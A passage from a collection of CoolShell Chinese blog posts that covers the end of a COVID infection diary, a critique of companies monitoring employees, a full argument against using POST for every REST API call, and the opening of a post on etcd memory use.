天的样子，嗓子干燥微疼，比以前的病毒性感冒好多了，以前的病毒性感冒导致的嗓子疼我是连咽口水都咽不下去。但是对于我老婆就不一样了，她先是浑身疼痛，嗓子干燥，到现在嗓子疼如刀割，说不出话。这个事可能也因人而异。**\n\n\n继续更新，自我阳性以来半个月了，从 12 月 14 日退烧后，我就一直处在感冒和低频咳嗽中，直到12 月 27 日才发现不咳嗽也不感冒了，但是说话还是有一点鼻音，估计还要 5-7 天就可以完全恢复了。\n\n\n#### 注意事项\n\n\n![](../wp-content/uploads/2022/12/IMG_2402.jpg)\n\n\n能物理降温就不要吃药来降（**应该避免使用酒精擦拭，因为有副作用，用水或冰就可以了**），降到 38.5 以下，就可以自己抗了。如果物理降温不奏效，就要吃布洛芬和泰诺(林)，这两种药非常有帮助，但是你应该在药店里买不到了，所以，你可以买中成药或复方药，反正里面的中药没有用，而几乎所有的中成药里都被加入了“对乙酰氨基酚”，算是“间接”或“复方”泰诺(林)了。但是，不要多服，不然，药量叠加，会导致你肝肾中毒。参看《[这些所谓“中成药”，关键原料是对乙酰氨基酚，服用小心叠加过量](https://www.163.com/dy/article/HOA1A9UQ055342ZM.html)》\n\n\n下面文字节选自“默沙东诊疗手册”\n\n\n\n> \n> \n> 最有效和最广泛使用的退热药为对乙酰氨基酚和非甾体抗炎药 (NSAID)，如阿司匹林、布洛芬和萘普生。\n> \n> \n> \n> \n> 通常，人们可能采取以下方式之一：\n> \n> \n> \n> \n> * 每6小时650毫克对乙酰氨基酚（1天内不超过4000毫克）\n> * 每6小时200到400毫克布洛芬\n> \n> \n> \n> \n> 因为许多非处方感冒药或流感制剂含有对乙酰氨基酚，人们一定要注意不要在同一时间服用对乙酰氨基酚和一种或多种这些制剂。\n> \n> \n> \n> \n> 只有当温度达到106°F (41.1°C)左右或更高时，才需要采取其它降温措施（如用温水喷雾和降温毯降温）。避免使用酒精擦拭，因为酒精可被皮肤吸收，可能产生有害效果。\n> \n> \n> \n> \n> 有血液感染或生命体征异常（例如，血压低、脉搏和呼吸速度加快）的人需入院。\n> \n> \n> \n> \n\n\n另外，一定要多喝水，热水最好。多喝水的原因是：1）布洛芬、对乙酰氨基酚（扑热息痛）等退烧药会让人加速出汗，会导致脱水。2）布洛芬等退烧药主要在肝脏代谢，60%~90%经肾脏随尿排出。多喝水，可加速药物排出体外，减少退烧药对肝肾的损伤。3）排汗和排尿都会帮身体带走一些热量。\n\n\n具体喝多少水因人而异，一般在2.5升到4升间，主要看你上厕所的频率。我因为前三天都在出汗，所以怎么喝水都不怎么上厕所，这两天我大概一天喝4升左右。总之，发烧吃退烧药更要多喝水。\n\n\n另外，如果全家都病倒了，那生活就有点不方便了，所以，你得做好一些准备：\n\n\n1）事先订好桶装水，18L 的那种，让人可以给家里送水，发烧期间用水很快的。\n\n\n2）生活上的事要做好全家病倒的准备，做饭只能整方便的做的或是速食的了，家里存点牛奶，面包，麦片，火腿肠，水果什么的，保证营养。再不行就点外卖，我家已经点了三天的外卖。还让孩子当个配送员跑腿到菜市场和超市开着视频买东西……\n\n\n3）还是要提前备药，我是准备用药的时候，发现家里只找到了布洛芬和感冒冲剂，因为我有高血脂，我还要吃瑞舒伐他汀钙片，结果发现我周边 5 公里的药店基本全都休业了，估计店员都阳了。\n\n\n4）有老人的，要照顾好。有呼吸困难的，一定要送急诊。\n\n\n根据知乎上的这个[通过搜索引擎的测算](https://zhuanlan.zhihu.com/p/590989182)，第一波的结束大约会在明年春节前结束。最后祝大家好运。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Resin服务器getResource揭秘](../wp-content/uploads/2012/01/图片1-150x150.png)](https://coolshell.cn/articles/6335.html)[Resin服务器getResource揭秘](https://coolshell.cn/articles/6335.html)\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](https://coolshell.cn/articles/10217.html)[加班与效率](https://coolshell.cn/articles/10217.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/5035.html)[面向对象的Shell脚本](https://coolshell.cn/articles/5035.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/1192.html)[一些单元测试的Guideline](https://coolshell.cn/articles/1192.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\nThe post [感染新冠的经历](https://coolshell.cn/articles/22341.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-2-12 谈谈公司对员工的监控.md",
    "content": "---\nlayout: post\ntitle: 谈谈公司对员工的监控\ndate: 2022/2/12/ 7:50:6\nupdated: 2022/2/12/ 7:50:6\nstatus: publish\npublished: true\ntype: post\n---\n\n今天看到微博上有一个热点事件， 是一个关于某公司做的一个监控员工离职倾向的软件，从截图中可以看到员工访问招聘网站的次数，还有投递的简历以及搜索的关建词等等信息，通过这些信息分析员工的离职倾向。然后我发一个微博，说了一下，我以前工作过的公司无论外国公司还是中国公司都有这样的情况，收到一些人来问我相关的情况，所以，我想还是写篇文章详细地说一下，我对这种事情的看法。\n\n\n[![](../wp-content/uploads/2022/02/monitoring-1024x534.jpeg)](https://coolshell.cn/wp-content/uploads/2022/02/monitoring.jpeg)\n\n\n本文分成下面个部分：\n\n\n* 公司监控员工的技术手段有哪些？\n* 为什么要监控员工？\n* 外企和国企有什么不一样？\n* 我对此事的看法\n\n\n\n#### 技术手段\n\n\n下面是我经历过的几个手段：\n\n\n1）**通过网络嗅探的方式**。也就是说，你只要上了公司的网络，你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然，这样的手段已经不怎么好用了，因为现在的网络基本上都是HTTPS加密的，网络嗅探的方式只能知道你访问了什么IP，对于其中的数据是没有办法知道的。\n\n\n2）**通过使用公司提供的软硬件工具**。你使用公司的电子邮箱，浏览器（或是公司的代理服务器），通讯工具（包括语音电话），手机办公应用……等来处理你的个人事宜的时候，必然会被监控。这样，你只需要不要使用公司的软件来处理自己的私事就好了。\n\n\n3）**通过安装一个监控程序**。这个是最可怕的了，因为无论你加不加密都没用了。一般来说，你不安装这个程序，你就没有办法连上网络，包括公司内网和外网。这个监控程序，会收集你电脑或手机上能够收集的到的所有的信息，比如，你的网络信息，按键操作，录屏，软件数据……等等。\n\n\n4）**办公区监控**。我见过的还有使用摄像头，在会议室中安装声音和视频监控设备，对整个办公区内发生所有的事情进行监控。\n\n\n**5）通过爬虫。**通过爬虫分析员工的社交平台上的各种言论，包括招聘网站。除了公司需要分布和自己相关的舆情，同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……\n\n\n#### 公司监控的目的\n\n\n公司监控的目的最早就是为了防止自己公司内的数据和信息外泄，所以，他们害怕自己的员工访问了什么不合适的网站，或是下载了什么有恶意的软件，或是不小心发错了邮件。另外一些公司也会使用外包人员，所以，对于外部编制的人员更需要有信息泄漏防范的安全需求。当然，也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司，如我以前呆过的Thomson Reuters，这家公司主要是卖金融数据的，所以，对信息泄漏是非常注重的，其就是需要在员工的电脑上安装监控软件。\n\n\n还有一些劳动密集型的工作，比如在Amazon里的仓库里工作的人，公司会监控员工的工作量，以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量，我到今天仅见过监控外包人员的，在中国，外包人员需要使用甲方的电脑进行签到和签退，以及相关的工作。除了上述的信息安全目前，还能够看到员工的工作时长的情况。\n\n\n**所以，一般来说，公司监控的目的主要是为了自己的信息安全，还有员工的工作量评估，一般来说，不会涉及员工的隐私**。\n\n\n但是，随着收集的数据越来越多，有些公司发现还可以做更多的事，比如，上述的员工离职倾向的分析。**还有一些公司还会收集员工在外网的数据，比如你在社交平台上的各种言论，来分析你对公司的忠诚度和你的价值观取向……**我个人觉得这些已经令人不耻了。\n\n\n#### 外企与国企不同之处\n\n\n我经历过的公司中，外国公司和中国公司都有监控的经历，这里说一下他们的不一样之处。**最大的不一样的地方是，外国公司会让你有知情权，而中国公司则完全没有**。\n\n\n我记得我进入Thomson Reuters 公司的时候，公司要求签署一份监控的知情的同意书，其中用中英文写的，就是说，你授权公司监控你的如下这些信息：1）上网记录，2）下载的软件，3）工作电脑，4）公司的座机电话，5）会议室和办公区的语音和视频监控……大概有两页A4纸，然后也说明了这些数据公司仅用于信息安全的风控，不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的，并且对双方都有法律约束的。\n\n\n中国的公司则不会告诉你他们会监控你哪些数据，而这些数据拿来做什么。 我记得我在某公司工作的时候，就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……\n\n\n#### 我对此事的看法\n\n\n一方面，我对于公司通过使用监控软件监控员工的行为我是能够理解的，但是，**应该让员工有知情权，并和员工明确一个监控的信息和范围，包括收集的数据的用途和安全措施，以及数据多长时间销毁的协议。**如果没有这个协议的话，我觉得本质上就是一种流氓行为。\n\n\n另一方面，针对监控员离职的倾向来说，我实在不知道有什么意义？公司你知道了又能如何呢？你是要找员工作思想工作，还是要给员工更好的待遇，还是直接开掉？**如果你对自己的企业有信心，你就不必担心员工会离开，如果你的企业有问题，你为什么不把心思花在建设自己的企业上来呢？安装这样的监控软件对于企业没有什么帮助，反而只会让你的企业的形象更low……**\n\n\n再仔细想想，**员工有一万种方法泄漏你公司的信息，无论你怎么监控，只要他想，他总是能够找到方法的，不是么？如何让找到或是培养有职业操守的员工，如何管理自己企业的商业信息，如何建立一个更好的企业文化让员工更有归属感，成为企业的共同体，一同维护共同利益，为企业着想，这不才是公司真正应该干的事吗？！**监控员工充分暴露了这样的企业没有一个好的企业文化，不懂得高级的管理，所以，只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [![别让自己“墙”了自己](../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg)](https://coolshell.cn/articles/20276.html)[别让自己“墙”了自己](https://coolshell.cn/articles/20276.html)\nThe post [谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-2-13 “一把梭：REST API 全用 POST”.md",
    "content": "---\nlayout: post\ntitle: “一把梭：REST API 全用 POST”\ndate: 2022/2/13/ 4:28:47\nupdated: 2022/2/13/ 4:28:47\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2022/02/http_method-300x169.png)\n\n\n写这篇文章的原因主要还是因为V2EX上的这个[贴子](https://www.v2ex.com/t/830030?p=1)，这个贴子中说——\n\n\n\n> “对接同事的接口，他定义的所有接口都是 post 请求，理由是 https 用 post 更安全，之前习惯使用 restful api ，如果说 https 只有 post 请求是安全的话？那为啥还需要 get 、put 、delete ？我该如何反驳他。”\n> \n> \n\n\n然后该贴中大量的回复大概有这么几种论调，1）POST挺好的，就应该这么干，沟通少，2）一把梭，早点干完早点回家，3）吵赢了又怎么样？工作而已，优雅不能当饭吃。虽然评论没有一边倒，但是也有大量的人支持。然后，我在Twitter上嘲讽了一下，用POST干一切就像看到了来你家装修工人说，“老子干活就是用钉子钉一切，什么螺丝、螺栓、卡扣、插销……通通不用，钉枪一把梭，方便，快捷，安全，干完早回家……不过，还是有一些网友觉得用POST挺好的，而且可以节约时间。所以，正好，我在《[我做系统架构的原则](https://coolshell.cn/articles/21672.html \"我做系统架构的一些原则\")》中的“[原则五](https://coolshell.cn/articles/21672.html#%E5%8E%9F%E5%88%99%E4%BA%94%EF%BC%9A%E5%88%B6%E5%AE%9A%E5%B9%B6%E9%81%B5%E5%BE%AA%E6%9C%8D%E4%BB%8E%E6%A0%87%E5%87%86%E3%80%81%E8%A7%84%E8%8C%83%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5)”中反对API返回码无论对错全是200的返回那，我专门写下这一篇文章，以正视听。\n\n\n这篇文章主要分成下面这几个部分：\n\n\n1. 为什么要用不同的HTTP动词？\n2. Restful 进行复杂查询\n3. 几个主要问题的回应\n\t* POST 更安全吗？\n\t* 全用 POST 可以节省时间沟通少吗？\n\t* 早点回家的正确姿势\n\t* 工作而已，优雅不能当饭吃\n\n\n\n#### 为什么要用不同的HTTP动词\n\n\n编程世界通常来说有两种逻辑：“**业务逻辑**” 和 “**控制逻辑**”。\n\n\n* **业务逻辑**。就是你实现业务需求的功能的代码，就是跟用户需求强相关的代码。比如，把用户提交的数据保存起来，查询用户的数据，完成一个订单交易，为用户退款……等等，这些是业务逻辑\n* **控制逻辑**。就是我们用于控制程序运行的非功能性的代码。比如，用于控制程序循环的变量和条件，使用多线程或分布式的技术，使用HTTP/TCP协议，使用什么样数据库，什么样的中间件……等等，这些跟用户需求完全没关系的东西。\n\n\n网络协议也是一样的，一般来说，**几乎所有的主流网络协议都有两个部分，一个是协议头，一个是协议体。协议头中是协议自己要用的数据，协议体才是用户的数据。所以，协议头主要是用于协议的控制逻辑，而协议体则是业务逻辑。**\n\n\nHTTP的动词（或是Method）是在协议头中，所以，其主要用于控制逻辑。\n\n\n下面是HTTP的动词规范，一般来说，REST API 需要开发人员严格遵循下面的标准规范（参看[RFC7231 章节4.2.2 – Idempotent Methods](https://www.rfc-editor.org/rfc/rfc7231#section-4.2.2)）\n\n\n\n\n| 方法 | 描述 | 幂等 |\n| --- | --- | --- |\n| GET | 用于查询操作，对应于数据库的 `select` 操作 | ✔︎ |\n| PUT | 用于所有的信息更新，对应于数据库的 `update`操作 | ✔︎︎ |\n| DELETE | 用于更新操作，对应于数据库的 `delete` 操作 | ✔︎︎ |\n| POST | 用于新增操作，对应于数据库的 `insert` 操作 | ✘ |\n| HEAD | 用于返回一个资源对象的“元数据”，或是用于探测API是否健康 | ✔︎ |\n| PATCH | 用于局部信息的更新，对应于数据库的 `update` 操作 | ✘ |\n| OPTIONS | 获取API的相关的信息。 | ✔︎ |\n\n\n其中，`PUT` 和 `PACTH` 都是更新业务资源信息，如果资源对象不存在则可以新建一个，但他们两者的区别是，`PUT` 用于更新一个业务对象的所有完整信息，就像是我们通过表单提交所有的数据，而 `PACTH` 则对更为API化的数据更新操作，只需要更需要更新的字段（参看 [RFC 5789](http://tools.ietf.org/html/rfc5789) ）。\n\n\n当然，现实世界中，可能并不一定严格地按照数据库操作的CRUD来理解API，比如，你有一个登录的API `/login` 你觉得这个API应该是 `GET` ，`POST`，`PUT` 还是 `PATCH` ?登录的时候用户需要输入用户名和密码，然后跟数据库里的对比（select操作）后反回一个登录的session token，然后这个token作为用户登录的状态令牌。如果按上面表格来说，应该是 select 操作进行 `GET` ，但是从语义上来说，登录并不是查询信息，应该是用户状态的更新或是新增操作（新增session），所以还是应该使用 `POST`，而 `/logout` 你可以使用 `DELETE` 。**这里相说明一下，不要机械地通过数据库的CRUD来对应这些动词，很多时候，还是要分析一下业务语义。**\n\n\n**另外，我们注意到，在这个表格的最后一列中加入了“是否幂等”的，API的幂等对于控制逻辑来说是一件很重要的事。**所谓幂等，就是该API执行多次和执行一次的结果是完全一样的，没有副作用。\n\n\n* `POST` 用于新增加数据，比如，新增一个交易订单，这肯定不能是幂等的\n* `DELETE` 用于删除数据，一个数据删除多次和删除一次的结果是一样的，所以，是幂等的\n* `PUT` 用于全部数更新，所以，是幂等的。\n* `PATCH`用于局部更新，比如，更新某个字段 cnt = cnt+1，明显不可能是幂等操作。\n\n\n幂等这个特性对于远程调用是一件非常关键的事，就是说，远程调用有很多时候会因为网络原因导致调用timeout，对于timeout的请求，我们是无法知道服务端是否已经是收到请求并执行了，此时，我们不能贸然重试请求，对于不是幂等的调用来说，这会是灾难性的。比如像转帐这样的业务逻辑，转一次和转多次结果是不一样的，如果重新的话有可能就会多转了一次。所以，这个时候，如果你的API遵从了HTTP动词的规范，那么你写起程序来就可以明白在哪些动词下可以重试，而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话，就完全失控了。\n\n\n除了幂等这样的控制逻辑之外，你可能还会有如下的这些控制逻辑的需求：\n\n\n* **缓存**。通过CDN或是网关对API进行缓存，很显然，我们要在查询`GET` 操作上建议缓存。\n* **流控**。你可以通过HTTP的动词进行更粒度的流控，比如：限制API的请用频率，在读操作上和写操作上应该是不一样的。\n* **路由**。比如：写请求路由到写服务上，读请求路由到读服务上。\n* **权限**。可以获得更细粒度的权限控制和审计。\n* **监控**。因为不同的方法的API的性能都不一样，所以，可以区分做性能分析。\n* **压测**。当你需要压力测试API时，如果没有动词的区分的话，我相信你的压力测试很难搞吧。\n* ……等等\n\n\n也许，你会说，我的业务太简单了，没有必要搞这么复杂。OK，没有问题，但**是我觉得你最差的情况下，也是需要做到“读写分离”的，就是说，至少要有两个动词，`GET` 表示是读操作，`POST`表示是写操作。**\n\n\n#### Restful 复杂查询\n\n\n一般来说，对于查询类的API，主要就是要完成四种操作：排序，过滤，搜索，分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档，[Microsoft REST API Guidelines](https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md)，[Paypal API Design Guidelines](https://github.com/paypal/api-standards/blob/master/api-style-guide.md)。\n\n\n* **排序**。对于结果集的排序，使用 `sort` 关键字，以及 `{field_name}|{asc|desc},{field_name}|{asc|desc}` 的相关语法。比如，某API需要返回公司的列表，并按照某些字段排序，如：`GET /admin/companies?sort=rank|asc` 或是 `GET /admin/companies?sort=rank|asc,zip_code|desc`\n* **过滤**。对于结果集的过滤，使用 `filter` 关键字，以及 `{field_name} op{value}` 的语法。比如： `GET /companies?category=banking&location=china` 。但是，有些时候，我们需要更为灵活的表达式，我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作：`=`，`<`，`>`，`<=`，`>=`，以及三个逻辑操作：`and`，`or`，`not`。（表达式中的一些特殊字符需要做一定的转义，比如：`>=` 转成 `ge`）于是，我们就会有如下的查询表达式：`GET /products?$filter=name eq 'Milk' and price lt 2.55` 查找所有的价柗小于2.55的牛奶。\n* **搜索**。对于相关的搜索，使用 `search` 关键字，以及关键词。如：`GET /books/search?description=algorithm` 或是直接就是全文搜索 `GET /books/search?key=algorithm` 。\n* **分页**。对于结果集进行分页处理，分页必需是一个默认行为，这样不会产生大量的返回数据。\n\n\n\t+ 使用`page`和`per_page`代表页码和每页数据量，比如：`GET /books?page=3&per_page=20`。\n\t+ **可选**。上面提到的`page`方式为使用相对位置来获取数据，可能会存在两个问题：性能（大数据量）与数据偏差（高频更新）。此时可以使用绝对位置来获取数据：事先记录下当前已获取数据里最后一条数据的`ID`、`时间`等信息，以此获取 “**该ID之前的数据**” 或 “**该时刻之前的数据**”。示例：`GET /news?max_id=23454345&per_page=20` 或 `GET /news?published_before=2011-01-01T00:00:00Z&per_page=20`。\n\n\n**注意：这里需要注意一下，在理论上来说`GET`是可以带 body 的，但是很多程序的类库或是中间件并不支持 GET 带 body，导致你只能用 POST 来传递参数。这里的原则是：**\n\n\n1. **对于简单的查询，很多参数都设计在 restful API 的路径上了，而 filter/sort/pagination 也不会带来很多的复杂，所以应该使用 `GET`**\n2. **对于复杂的查询来说，可能会有很复杂的查询参数，比如：ElasticSearch 上的 `index/_search`里的 DSL，你也应该尽可能的使用 `GET`，而不是`POST` 除非客观条件上不支持`GET`。ElasticSearch 的[官方文档](https://www.elastic.co/guide/en/elasticsearch/guide/current/_empty_search.html)里也是这么说的。**\n\n\n\n> The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. （我们推荐使用 GET而不是 POST，因为语义更清楚）However, because GET with a request body is not universally supported, the search API also accepts POST requests （除非你的类库或是服务器不支持 GET带参数 ，你再用POST，我们两个都支持）\n> \n> \n> **陈皓注：但是在 ElasticSearch 7.11 后，GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。**\n> \n> \n\n\n\n\n\n\n另外，对于一些更为复杂的操作，建议通过分别调用多个API的方式来完成，虽然这样会增加网络请求的次数，但是这样的可以让后端程序和数据耦合度更小，更容易成为微服务的架构。\n\n\n\n\n最后，如果你想在Rest中使用像GraphQL那样的查询语言，你可以考虑一下类似 [OData](https://www.odata.org/) 的解决方案。OData 是 Open Data Protocol 的缩写，最初由 Microsoft 于 2007 年开发。它是一种开放协议，使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。\n\n\n#### 几个主要问题的回应\n\n\n下面是对几个问题的直接回应，如果大家需要我回应更多的问题，可以在后面留言，我会把问题和我的回应添加到下面。\n\n\n##### 1）为什么API 要Restful，并符合规范？\n\n\n**Restful API算是一个HTTP的规范和标准了，你要说是最佳实践也好，总之，它是一个全世界对HTTP API的一个共识。在这个共识上，你可以无成本地享受很多的技术红利，比如：CDN，API网关，服务治理，监控……等等。这些都是可以让你大幅度降低研发成本，避免踩坑的原因。**\n\n\n##### 2）为什么“过早优化”不适用于API设计？\n\n\n因为API是一种契约，一旦被使用上，就很难再变更了，就算你发行新的版本的API，你还要驱动各种调用方升级他们的调用方式。所以，接口设计就像数据库模式设计一下，一旦设计好了，未来再变更就比较难了。所以，还是要好好设计。正如前面我给的几个文档——[Microsoft REST API Guidelines](https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md)，[Paypal API Design Guidelines](https://github.com/paypal/api-standards/blob/master/api-style-guide.md) 或是 [Google API Design Guide](https://cloud.google.com/apis/design) 都是让你好好设计API的不错的 Guidelines.\n\n\n##### 3）POST 更安全吗？\n\n\n不会。\n\n\n很多同学以为 `GET` 的请求数据在URL中，而 `POST` 的则不是，所以以为 `POST` 更安全。不是这样的，整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS，就是安全的。当然，有些网关如nginx会把URL打到日志中，或是会放在浏览器的历史记录中，所以有人会说 `GET` 请求不安全，但是，`POST` 也没有好到哪里去，在 [CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery) 这个最常见的安全问题上，则完全就是针对 `POST` 的。  安全是一件很复杂的事，无论你用哪方法或动词都会不能代表你会更安全。\n\n\n另外，\n\n\n* 如果你要 防止你的 `GET` 上有敏感信息，应该加个密，这个跟 `POST`是一样的。\n* 如果你要防止 `GET` 会被中间人修改，你应该做一个URL签名。（通常来说， 我们都在 `GET` 上做签名，`POST` 就忘做了）\n* 如果你要防止有人发一些恶意链接来 hack 你的用户（传说中的 `GET` 不如 `POST` 安全的一个问题），你应该用 HMAC 之类的认证技术做好认证（参看 [HTTP API 认证授权术](https://coolshell.cn/articles/19395.html \"HTTP API 认证授权术\")）。\n\n\n总之，你要明白，`GET` 和 `POST` 的安全问题都一样的，不要有谁比谁更安全，然后你就可以掉以轻心的这样的想法，安全都是要很严肃对待的。\n\n\n##### 4）全用 POST 可以节省时间减少沟通吗？\n\n\n不但不会，反而更糟糕。\n\n\n说这种话的人，我感觉是不会思考问题。\n\n\n* 其一，为API赋于不同的动词，这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发，比如Spring Boot，写数据库的CRUD基本上就不需要写SQL语言相关的查询代码，非常之方便。\n* 其二，使用规范的方式，可以节约新加入团队人员的学习成本，而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的，这个我们整个人类进行协作的基础。所以，这个世界上有很多的标准，你只要照着这个标准来，你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。\n* 其三，全用POST接口一把梭，不规范不标准，使用你的这个山寨API的人就得来不断的问你，反而增加了沟通。另外，也许你开发业务功能很快了，但是你在做控制逻辑的时候，你就要返工了，从长期上来讲，你的欠下了技术债，这个债反而导致了更大的成本。\n\n\n##### 5）早点回家的正确姿势\n\n\n不要以为你回家早就没事了，如果你的代码有这样那样的问题，别人看懂，或是出误用了你的代码出了问题，那么，你早回家有什么意义呢？你一样要被打扰，甚至被叫到公司来处理问题。所以，你应该做的是为了“长期的早回家”，而不是“短期的早回家”，要像长期的早回家，通常来说是这样的：\n\n\n* **把代码组织设计好，有更好的扩展性**。这样在面对新需求的时候，你就可以做到少改代码，甚至不改代码。这样你才可能早回家。不然，每次需求一来，你得重新写，你怎么可能早回家？\n* **你的代码质量是不错的，有不错的文档和注释**。所以，别人不会老有问题来找你，或是你下班后，叫你来处理问题。甚至任何人都可以很容易地接手你的代码，这样你才可能真正不被打扰\n\n\n##### 6）工作而已，优雅不能当饭吃\n\n\n回应两点：\n\n\n其一，遵循个规范而已，把“正常”叫“优雅”，可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。\n\n\n其二，**作为一个“职业程序员”，要学会热爱和尊重自己的职业，热爱自己职业最重要的就是不要让外行人看扁这个职业，自己都不尊重这个职业，你让别人怎么尊重？尊重自己的职业，不仅仅只是能够获得让人羡慕的报酬，而更是要让自己的这个职业的更有含金量**。\n\n\n**希望大家都能尊重自己从事的这个职业，成为真正的职业化的程序员，而不是一个码农！**\n\n\n![](../wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75.jpeg)你的工作给你权力，而只有你的行为才会给你尊重\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [![别让自己“墙”了自己](../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg)](https://coolshell.cn/articles/20276.html)[别让自己“墙”了自己](https://coolshell.cn/articles/20276.html)\nThe post [“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-5-5 ETCD的内存问题.md",
    "content": "---\nlayout: post\ntitle: ETCD的内存问题\ndate: 2022/5/5/ 8:13:37\nupdated: 2022/5/5/ 8:13:37\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2022/05/etcd.png)今天跟大家分享一个etcd的内存大量占用的问题，这是前段时间在我们开源软件Easegress中遇到的问题，问题是比较简单的，但是我还想把前因后果说一下，包括，为什么要用etcd，使用etcd的用户场景，包括etcd的一些导致内存占用比较大的设计，以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题，还能让你有更多的收获。当然，也欢迎您关注我们的开源软件，给我们一些鼓励。\n\n\n#### 为什么要用ETCD\n\n\n先说一下为什么要用etcd。先从一个我们自己做的一个API网关 – Easegress（[源码](https://github.com/megaease/easegress)）说起。\n\n\n[Easegress](https://github.com/megaease/easegress) 是我们开发并开源的一个API应用网关产品，这个API应用网关不仅仅只是像nginx那样用来做一个反向代理，这个网关可以做的事很多，比如：API编排、服务发现、弹力设计（熔断、限流、重试等）、认证鉴权（JWT，OAuth2，HMAC等）、同样支持各种Cloud Native的架构如：微服务架构，Service 